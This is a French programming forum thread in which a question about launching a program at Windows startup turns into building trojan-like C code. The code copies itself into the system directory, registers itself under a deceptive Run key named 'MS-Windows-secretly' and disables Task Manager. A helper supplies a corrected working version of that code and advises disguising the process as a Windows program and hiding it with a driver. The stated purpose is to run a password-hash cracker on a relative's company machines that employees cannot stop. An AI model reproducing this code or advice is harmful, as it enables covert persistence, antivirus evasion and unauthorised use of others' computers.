Logiciel lancé au démarage de windows [STATUP]

Signaler
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015
-
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
-
Bonjour, je suis entrain de prog une petite application mais cependant je ne sais pas comment dois t on faire pour que le mon fichier.exe se lance tout seul au démarrage de windows, auriez vous un tutoriel ? ou pouvez vous m'expliqué de manière assez simple ?

Très cordialement,
 

15 réponses

Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015

Grand up .... Personne ne sais comment peut on faire pourqu'un soft se lance au démarrage de windows.
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
14
(Faire des up de ton topic ne sert à rien ici ...)
Il te suffit d'ajouter une clé dans HKCU|HKCM\Software\Microsoft\Windows\CurrentVersion\Run portant le nom de ton programme, de type REG_SZ et contenant le chemin vers l'exécutable entouré de " avec des paramètres séparés par un espace (optionnels)
---
VB.NET is good ... VB6 is better
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
29
Tu inscris le FullPathName du prog ici:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Si pour 1 seule session, sera sous HKEY_CURRENT_USER

ciao...
BruNews, MVP VC++
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
29
coiffé au poteau...


ciao...
BruNews, MVP VC++
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
14
@BruNews : J'avais oublié de préciser le choix entre HKCU et HKLM (en pensant que c'était logique), ce que tu as fait. Maintenant shuty a une réponse complète !
---
VB.NET is good ... VB6 is better
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015

J'ai trouvé le code parfait cependant j'aurai besoin pour l'adapter dans mon code


  char path[MAX_PATH];
  HMODULE GetModH = GetModuleHandle(NULL);
    
  char sys[MAX_PATH];
  GetModuleFileName(GetModH, path, sizeof(path));
  GetSystemDirectory(sys, sizeof(sys));
  strcat(sys, "\\borg.exe");
  CopyFile(path, sys, false); 
    
  HKEY hKey, hKey2;
  
  unsigned char reg[2] = "0";
  
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
  RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned char*)sys, sizeof(sys));
  RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey2);
  RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,reg,sizeof(reg));
  RegCloseKey(hKey),(hKey2); 



J'ai changer, le chemin du fichier... je compile donc ( sous dev c++)
Une fois compilé j'exécute mon *.exe et je reboot et je m'aperçoit en tapant msconfig que la clée n'est pas présente...
Aurais je fait une connerie dans le bout de code donné ?

 
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
14
Corrige déjà ton code comme ça. J'te garantis pas que ça va fonctionner, mais ça a déjà plus de chances ! Si ça marche pas, mets des points d'arrêt, vérifie les handles et le retour des fonctions à l'aide de MSDN.
//Ce qui est en rouge est à supprimer, en vert à ajouter.
unsigned charDWORD reg[2] = "0";
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned charBYTE*)sys, sizeof(sys)strlen(sys)+1);
RegCloseKey(hKey);
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey2);
RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,(const unsigned charBYTE*)reg,sizeof(reg));
RegCloseKey(hKey2);

---
VB.NET is good ... VB6 is better
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015

Je vais essayé de testé sa... MERCI en tout cas c'est très simpat de ta part !
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015

Re-bonjour !

Après avoir essayé ce code sans faute cette fois ci ! la compilation et l'execution au démarrage se fait sans problème. Seulement après avoir compilé mon code et l'executer, Bitdefender s'est exité à m'a dit que mon petit soft était un trojan ? comment sa ce fait ?

  char path[MAX_PATH];

  HMODULE GetModH = GetModuleHandle(NULL);

    

  char sys[MAX_PATH];

  GetModuleFileName(GetModH, path, sizeof(path));

  GetSystemDirectory(sys, sizeof(sys));

  strcat(sys, "\\borg.exe");

  CopyFile(path, sys, false); 

    

  HKEY hKey, hKey2;

  

  unsigned char reg[2] = "0";

  

  RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );

  RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned char*)sys, sizeof(sys));

  RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey2);

  RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,reg,sizeof(reg));

  RegCloseKey(hKey),(hKey2); 
 

Seconde question:
Comment à partir de ce code je peut modifié la valeur de la clée pour évité que mon anti virus s'exite ?

Merci beaucoup !
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
14
pour évitER que mon antivirus s'exite ?
Ton code ressemble étrangement à un virus ! C'est quoi le but ?
Et quand je te donne un code tout fait qui fonctionne, t'es prié de t'en servir (ce que tu as reposté ne devrait même pas compiler en C) ...
---
VB.NET is good ... VB6 is better
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015

Bhen enfait j'ai l'intention de crée un soft qui rassemblerai différent crash de hash md5 etc..  

Concernant ton code, je l'ai testé après avoir fait de modif mais pour l'utilité de mon soft je préférai que CTRL + alt + supp et regedit ne soit pas accessible car enfet je compte faire tourné ce soft sur 3 ordi dont 2 de la société à mon père et je ne voulais pas que les employé ou mon frère puisse le stopé. sinon il me faudra des siècle et siècle pour avoir une bonne rainbow table...

Désolé pour le faite de t'avoir embêté, c'était pas voulu
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
14
Ca ne sert à rien de désactiver le gestionnaire de tâches, on peut passer par un autre programme. Le plus simple est de donner à ton programme un nom proche d'un programme compris dans Windows. Aide-toi de Process Explorer de Sysinternals pour regarder les infos de ces programmes. Le seul moyen de cacher un process est un driver. Mais si on le voit, tu risques d'avoir des ennuis !
---
VB.NET is good ... VB6 is better
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
14
Voilà le code que j'avais fait, et qui devrait fonctionner :
char path[max_path], sys[max_path];
DWORD reg = 0;

//On copie le programme dans le répertoire système
GetModuleFileName(GetModuleHandle(NULL), path, sizeof(path));
GetSystemDirectory(sys, sizeof(sys));
strcat(sys, "\\borg.exe");
CopyFile(path, sys, false); 

//On l'inscrit dans la BDR au démarrage
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const BYTE*)sys, strlen(sys)+1);
RegCloseKey(hKey);

//On désactive le gestionnaire de tâches
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey);
RegSetValueEx(hKey,"DisableTaskMgr",0,REG_DWORD,(const BYTE*)reg,sizeof(reg));
RegCloseKey(hKey);
---
VB.NET is good ... VB6 is better
Messages postés
47
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
6 février 2015

Okay grand merci, si on le vois non mon père et personne de dira rien ... Peut être juste " l'ordi est un peut long en se moment..."

Par contre j'aurais quelque question, sur ce bout de code:

 //Cette fonction permet de copier le fichier dans /system32 ?
getmodulefilename(getmodulehandle(null), path, sizeof(path));
getsystemdirectory(sys, sizeof(sys));
strcat(sys, "\\borg.exe");// pourquoi y as t'il borg.exe ? à quoi sa correspond ?
copyfile(path, sys, false); 



Merci !

 
Messages postés
3983
Date d'inscription
jeudi 14 juillet 2005
Statut
Membre
Dernière intervention
30 juin 2013
14
Avant le strcat, sys contient le chemin du répertoire système.
Ensuite tu dois ajouter le nom de l'exécutable de destination, et tu avais mis dans ton code original "borg.exe"
---
VB.NET is good ... VB6 is better